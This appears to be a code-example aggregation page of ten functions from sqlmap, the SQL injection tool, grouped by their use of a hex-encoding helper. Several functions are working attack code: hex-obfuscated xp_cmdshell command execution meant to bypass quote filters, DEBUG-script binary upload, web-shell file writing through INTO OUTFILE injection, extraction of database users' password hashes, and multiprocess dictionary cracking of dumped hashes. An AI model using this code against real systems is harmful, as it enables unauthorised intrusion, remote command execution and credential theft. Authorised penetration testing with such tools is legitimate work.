Exemple #1
0
    def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
        # When user provides DBMS credentials (with --dbms-cred) we need to
        # redirect the command standard output to a temporary file in order
        # to retrieve it afterwards
        # NOTE: this does not need to be done when the command is 'del' to
        # delete the temporary file
        if conf.dbmsCred and insertIntoTable:
            self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath,
                                              randomStr(lowercase=True))
            cmd = "%s > \"%s\"" % (cmd, self.tmpFile)

        # Obfuscate the command to execute, also useful to bypass filters
        # on single-quotes
        self._randStr = randomStr(lowercase=True)
        self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr

        try:
            self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" %
                                                encodeHex(cmd, binary=False))
        except UnicodeError:
            self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)

        # Insert the command standard output into a support table,
        # 'sqlmapoutput', except when DBMS credentials are provided because
        # it does not work unfortunately, BULK INSERT needs to be used to
        # retrieve the output when OPENROWSET is used hence the redirection
        # to a temporary file from above
        if insertIntoTable and not conf.dbmsCred:
            self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable

        self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)

        return agent.runAsDBMSUser(self._forgedCmd)
Exemple #2
0
    def _dataToScr(self, fileContent, chunkName):
        fileLines = []
        fileSize = len(fileContent)
        lineAddr = 0x100
        lineLen = 20

        fileLines.append("n %s" % chunkName)
        fileLines.append("rcx")
        fileLines.append("%x" % fileSize)
        fileLines.append("f 0100 %x 00" % fileSize)

        for fileLine in xrange(0, len(fileContent), lineLen):
            scrString = ""

            for lineChar in fileContent[fileLine:fileLine + lineLen]:
                strLineChar = encodeHex(lineChar, binary=False)

                if not scrString:
                    scrString = "e %x %s" % (lineAddr, strLineChar)
                else:
                    scrString += " %s" % strLineChar

                lineAddr += len(strLineChar) // 2

            fileLines.append(scrString)

        fileLines.append("w")
        fileLines.append("q")

        return fileLines
Exemple #3
0
    def fileContentEncode(self, content, encoding, single, chunkSize=256):
        retVal = []

        if encoding == "hex":
            content = encodeHex(content)
        elif encoding == "base64":
            content = encodeBase64(content)
        else:
            content = codecs.encode(content, encoding)

        content = getText(content).replace("\n", "")

        if not single:
            if len(content) > chunkSize:
                for i in xrange(0, len(content), chunkSize):
                    _ = content[i:i + chunkSize]

                    if encoding == "hex":
                        _ = "0x%s" % _
                    elif encoding == "base64":
                        _ = "'%s'" % _

                    retVal.append(_)

        if not retVal:
            if encoding == "hex":
                content = "0x%s" % content
            elif encoding == "base64":
                content = "'%s'" % content

            retVal = [content]

        return retVal
Exemple #4
0
def server(host=RESTAPI_DEFAULT_ADDRESS,
           port=RESTAPI_DEFAULT_PORT,
           adapter=RESTAPI_DEFAULT_ADAPTER,
           username=None,
           password=None):
    """
    REST-JSON API server
    """

    DataStore.admin_token = encodeHex(os.urandom(16), binary=False)
    DataStore.username = username
    DataStore.password = password

    _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC,
                                            text=False)
    os.close(_)

    if port == 0:  # random
        with contextlib.closing(
                socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
            s.bind((host, 0))
            port = s.getsockname()[1]

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
    logger.info("Admin (secret) token: %s" % DataStore.admin_token)
    logger.debug("IPC database: '%s'" % Database.filepath)

    # Initialize IPC database
    DataStore.current_db = Database()
    DataStore.current_db.connect()
    DataStore.current_db.init()

    # Run RESTful API
    try:
        # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref
        # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names

        if adapter == "gevent":
            from gevent import monkey
            monkey.patch_all()
        elif adapter == "eventlet":
            import eventlet
            eventlet.monkey_patch()
        logger.debug("Using adapter '%s' to run bottle" % adapter)
        run(host=host, port=port, quiet=True, debug=True, server=adapter)
    except socket.error as ex:
        if "already in use" in getSafeExString(ex):
            logger.error("Address already in use ('%s:%s')" % (host, port))
        else:
            raise
    except ImportError:
        if adapter.lower() not in server_names:
            errMsg = "Adapter '%s' is unknown. " % adapter
            errMsg += "List of supported adapters: %s" % ', '.join(
                sorted(list(server_names.keys())))
        else:
            errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
            errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (
                adapter, '3' if six.PY3 else "", adapter)
        logger.critical(errMsg)
Exemple #5
0
def oracle_old_passwd(password,
                      username,
                      uppercase=True):  # prior to version '11g'
    """
    Reference(s):
        http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/

    >>> oracle_old_passwd(password='******', username='******', uppercase=True)
    'F894844C34402B67'
    """

    IV, pad = "\0" * 8, "\0"

    unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)
                       ) if ord(_) < 256 else _.encode(UNICODE_ENCODING)
                      for _ in (username + password).upper())

    cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad)
    encrypted = cipher.encrypt(unistr)
    cipher = des(encrypted[-8:], CBC, IV, pad)
    encrypted = cipher.encrypt(unistr)

    retVal = encodeHex(encrypted[-8:], binary=False)

    return retVal.upper() if uppercase else retVal.lower()
Exemple #6
0
    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(
            SHELL_WRITABLE_DIR_TAG,
            directory.replace('/', '\\\\')
            if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL,
                               "write_file_limit",
                               OUTFILE=outFile,
                               HEXSTRING=encodeHex(uplQuery, binary=False))
        query = agent.prefixQuery(
            query
        )  # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
Exemple #7
0
def task_new():
    """
    Create a new task
    """
    taskid = encodeHex(os.urandom(8), binary=False)
    remote_addr = request.remote_addr

    DataStore.tasks[taskid] = Task(taskid, remote_addr)

    logger.debug("Created new task: '%s'" % taskid)
    return jsonize({"success": True, "taskid": taskid})
Exemple #8
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == CURRENT_USER:
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
                elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
                    values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            fallback = False

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)

                if retVal:
                    for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        password = "******" % encodeHex(password, binary=False).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            if Backend.isDbms(DBMS.MSSQL):
                                fallback = True
                                count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                            elif Backend.isDbms(DBMS.MYSQL):
                                fallback = True
                                count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)

                            if fallback:
                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")

                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)

                        elif Backend.isDbms(DBMS.HSQLDB):
                            query = rootQuery.blind.query % (index, user)

                        else:
                            query = rootQuery.blind.query % (user, index)

                        if Backend.isDbms(DBMS.MYSQL):
                            if fallback:
                                query = query.replace("authentication_string", "password")

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the DBMS "
            errMsg += "current user has no read privileges over the relevant "
            errMsg += "system database table(s))"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Exemple #9
0
def dictionaryAttack(attack_dict):
    suffix_list = [""]
    custom_wordlist = [""]
    hash_regexes = []
    results = []
    resumes = []
    user_hash = []
    processException = False
    foundHash = False

    for (_, hashes) in attack_dict.items():
        for hash_ in hashes:
            if not hash_:
                continue

            hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
            regex = hashRecognition(hash_)

            if regex and regex not in hash_regexes:
                hash_regexes.append(regex)
                infoMsg = "using hash method '%s'" % __functions__[regex].__name__
                logger.info(infoMsg)

    for hash_regex in hash_regexes:
        keys = set()
        attack_info = []

        for (user, hashes) in attack_dict.items():
            for hash_ in hashes:
                if not hash_:
                    continue

                foundHash = True
                hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_

                if re.match(hash_regex, hash_):
                    try:
                        item = None

                        if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                            hash_ = hash_.lower()

                        if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                            item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
                            item = [(user, hash_), {}]
                        elif hash_regex in (HASH.SSHA,):
                            item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
                        elif hash_regex in (HASH.SSHA256,):
                            item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}]
                        elif hash_regex in (HASH.SSHA512,):
                            item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}]
                        elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
                            item = [(user, hash_), {'username': user}]
                        elif hash_regex in (HASH.ORACLE,):
                            item = [(user, hash_), {"salt": hash_[-20:]}]
                        elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW):
                            item = [(user, hash_), {"salt": hash_[6:14]}]
                        elif hash_regex in (HASH.CRYPT_GENERIC,):
                            item = [(user, hash_), {"salt": hash_[0:2]}]
                        elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
                            item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
                        elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
                            item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
                        elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
                            item = [(user, hash_), {"salt": hash_.split('$')[1]}]
                        elif hash_regex in (HASH.WORDPRESS,):
                            if ITOA64.index(hash_[3]) < 32:
                                item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
                            else:
                                warnMsg = "invalid hash '%s'" % hash_
                                logger.warn(warnMsg)

                        if item and hash_ not in keys:
                            resumed = hashDBRetrieve(hash_)
                            if not resumed:
                                attack_info.append(item)
                                user_hash.append(item[0])
                            else:
                                infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_)
                                if user and not user.startswith(DUMMY_USER_PREFIX):
                                    infoMsg += " for user '%s'" % user
                                logger.info(infoMsg)
                                resumes.append((user, hash_, resumed))
                            keys.add(hash_)

                    except (binascii.Error, IndexError):
                        pass

        if not attack_info:
            continue

        if not kb.wordlists:
            while not kb.wordlists:

                # the slowest of all methods hence smaller default dict
                if hash_regex in (HASH.ORACLE_OLD,):
                    dictPaths = [paths.SMALL_DICT]
                else:
                    dictPaths = [paths.WORDLIST]

                message = "what dictionary do you want to use?\n"
                message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
                message += "[2] custom dictionary file\n"
                message += "[3] file with list of dictionary files"
                choice = readInput(message, default='1')

                try:
                    if choice == '2':
                        message = "what's the custom dictionary's location?\n"
                        dictPath = readInput(message)
                        if dictPath:
                            dictPaths = [dictPath]
                            logger.info("using custom dictionary")
                    elif choice == '3':
                        message = "what's the list file location?\n"
                        listPath = readInput(message)
                        checkFile(listPath)
                        dictPaths = getFileItems(listPath)
                        logger.info("using custom list of dictionaries")
                    else:
                        logger.info("using default dictionary")

                    dictPaths = [_ for _ in dictPaths if _]

                    for dictPath in dictPaths:
                        checkFile(dictPath)

                        if os.path.splitext(dictPath)[1].lower() == ".zip":
                            _ = zipfile.ZipFile(dictPath, 'r')
                            if len(_.namelist()) == 0:
                                errMsg = "no file(s) inside '%s'" % dictPath
                                raise SqlmapDataException(errMsg)
                            else:
                                _.open(_.namelist()[0])

                    kb.wordlists = dictPaths

                except Exception as ex:
                    warnMsg = "there was a problem while loading dictionaries"
                    warnMsg += " ('%s')" % getSafeExString(ex)
                    logger.critical(warnMsg)

            message = "do you want to use common password suffixes? (slow!) [y/N] "

            if readInput(message, default='N', boolean=True):
                suffix_list += COMMON_PASSWORD_SUFFIXES

        infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__
        logger.info(infoMsg)

        for item in attack_info:
            ((user, _), _) = item
            if user and not user.startswith(DUMMY_USER_PREFIX):
                custom_wordlist.append(normalizeUnicode(user))

        # Algorithms without extra arguments (e.g. salt and/or username)
        if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
            for suffix in suffix_list:
                if not attack_info or processException:
                    break

                if suffix:
                    clearConsoleLine()
                    infoMsg = "using suffix '%s'" % suffix
                    logger.info(infoMsg)

                retVal = None
                processes = []

                try:
                    if _multiprocessing:
                        if _multiprocessing.cpu_count() > 1:
                            infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
                            singleTimeLogMessage(infoMsg)

                        gc.disable()

                        retVal = _multiprocessing.Queue()
                        count = _multiprocessing.Value('i', _multiprocessing.cpu_count())

                        for i in xrange(_multiprocessing.cpu_count()):
                            process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
                            processes.append(process)

                        for process in processes:
                            process.daemon = True
                            process.start()

                        while count.value > 0:
                            time.sleep(0.5)

                    else:
                        warnMsg = "multiprocessing hash cracking is currently "
                        warnMsg += "not supported on this platform"
                        singleTimeWarnMessage(warnMsg)

                        retVal = _queue.Queue()
                        _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)

                except KeyboardInterrupt:
                    print()
                    processException = True
                    warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
                    logger.warn(warnMsg)

                    for process in processes:
                        try:
                            process.terminate()
                            process.join()
                        except (OSError, AttributeError):
                            pass

                finally:
                    if _multiprocessing:
                        gc.enable()

                    if retVal:
                        if conf.hashDB:
                            conf.hashDB.beginTransaction()

                        while not retVal.empty():
                            user, hash_, word = item = retVal.get(block=False)
                            attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_]
                            hashDBWrite(hash_, word)
                            results.append(item)

                        if conf.hashDB:
                            conf.hashDB.endTransaction()

            clearConsoleLine()

        else:
            for ((user, hash_), kwargs) in attack_info:
                if processException:
                    break

                if any(_[0] == user and _[1] == hash_ for _ in results):
                    continue

                count = 0
                found = False

                for suffix in suffix_list:
                    if found or processException:
                        break

                    if suffix:
                        clearConsoleLine()
                        infoMsg = "using suffix '%s'" % suffix
                        logger.info(infoMsg)

                    retVal = None
                    processes = []

                    try:
                        if _multiprocessing:
                            if _multiprocessing.cpu_count() > 1:
                                infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
                                singleTimeLogMessage(infoMsg)

                            gc.disable()

                            retVal = _multiprocessing.Queue()
                            found_ = _multiprocessing.Value('i', False)
                            count = _multiprocessing.Value('i', _multiprocessing.cpu_count())

                            for i in xrange(_multiprocessing.cpu_count()):
                                process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
                                processes.append(process)

                            for process in processes:
                                process.daemon = True
                                process.start()

                            while count.value > 0:
                                time.sleep(0.5)

                            found = found_.value != 0

                        else:
                            warnMsg = "multiprocessing hash cracking is currently "
                            warnMsg += "not supported on this platform"
                            singleTimeWarnMessage(warnMsg)

                            class Value():
                                pass

                            retVal = _queue.Queue()
                            found_ = Value()
                            found_.value = False

                            _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)

                            found = found_.value

                    except KeyboardInterrupt:
                        print()
                        processException = True
                        warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
                        logger.warn(warnMsg)

                        for process in processes:
                            try:
                                process.terminate()
                                process.join()
                            except (OSError, AttributeError):
                                pass

                    finally:
                        if _multiprocessing:
                            gc.enable()

                        if retVal and conf.hashDB:
                            if conf.hashDB:
                                conf.hashDB.beginTransaction()

                            while not retVal.empty():
                                user, hash_, word = item = retVal.get(block=False)
                                hashDBWrite(hash_, word)
                                results.append(item)

                            if conf.hashDB:
                                conf.hashDB.endTransaction()

                clearConsoleLine()

    results.extend(resumes)

    if foundHash and len(hash_regexes) == 0:
        warnMsg = "unknown hash format"
        logger.warn(warnMsg)

    if len(results) == 0:
        warnMsg = "no clear password(s) found"
        logger.warn(warnMsg)

    return results
Exemple #10
0
def attackDumpedTable():
    if kb.data.dumpedTable:
        table = kb.data.dumpedTable
        columns = list(table.keys())
        count = table["__infos__"]["count"]

        if not count:
            return

        debugMsg = "analyzing table dump for possible password hashes"
        logger.debug(debugMsg)

        found = False
        col_user = ''
        col_passwords = set()
        attack_dict = {}
        binary_fields = OrderedSet()
        replacements = {}

        for column in sorted(columns, key=len, reverse=True):
            if column and column.lower() in COMMON_USER_COLUMNS:
                col_user = column
                break

        for column in columns:
            if column != "__infos__" and table[column]["values"]:
                if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]):
                    binary_fields.add(column)

        if binary_fields:
            _ = ','.join(binary_fields)
            warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _
            warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _
            logger.warn(warnMsg)

        for i in xrange(count):
            if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD:
                break

            for column in columns:
                if column == col_user or column == "__infos__":
                    continue

                if len(table[column]["values"]) <= i:
                    continue

                if conf.binaryFields and column in conf.binaryFields:
                    continue

                value = table[column]["values"][i]

                if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None:
                    previous = value
                    value = encodeHex(getBytes(value), binary=False)
                    replacements[value] = previous

                if hashRecognition(value):
                    found = True

                    if col_user and i < len(table[col_user]["values"]):
                        if table[col_user]["values"][i] not in attack_dict:
                            attack_dict[table[col_user]["values"][i]] = []

                        attack_dict[table[col_user]["values"][i]].append(value)
                    else:
                        attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value]

                    col_passwords.add(column)

        if attack_dict:
            infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "")
            infoMsg += "'%s'" % ", ".join(col for col in col_passwords)
            logger.info(infoMsg)

            storeHashesToFile(attack_dict)

            message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
            choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException

            results = dictionaryAttack(attack_dict)
            lut = dict()

            for (_, hash_, password) in results:
                if hash_:
                    key = hash_ if hash_ not in replacements else replacements[hash_]
                    lut[key.lower()] = password
                    lut["0x%s" % key.lower()] = password

            debugMsg = "post-processing table dump"
            logger.debug(debugMsg)

            for i in xrange(count):
                for column in columns:
                    if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i):
                        value = table[column]['values'][i]

                        if value and value.lower() in lut:
                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
                            table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))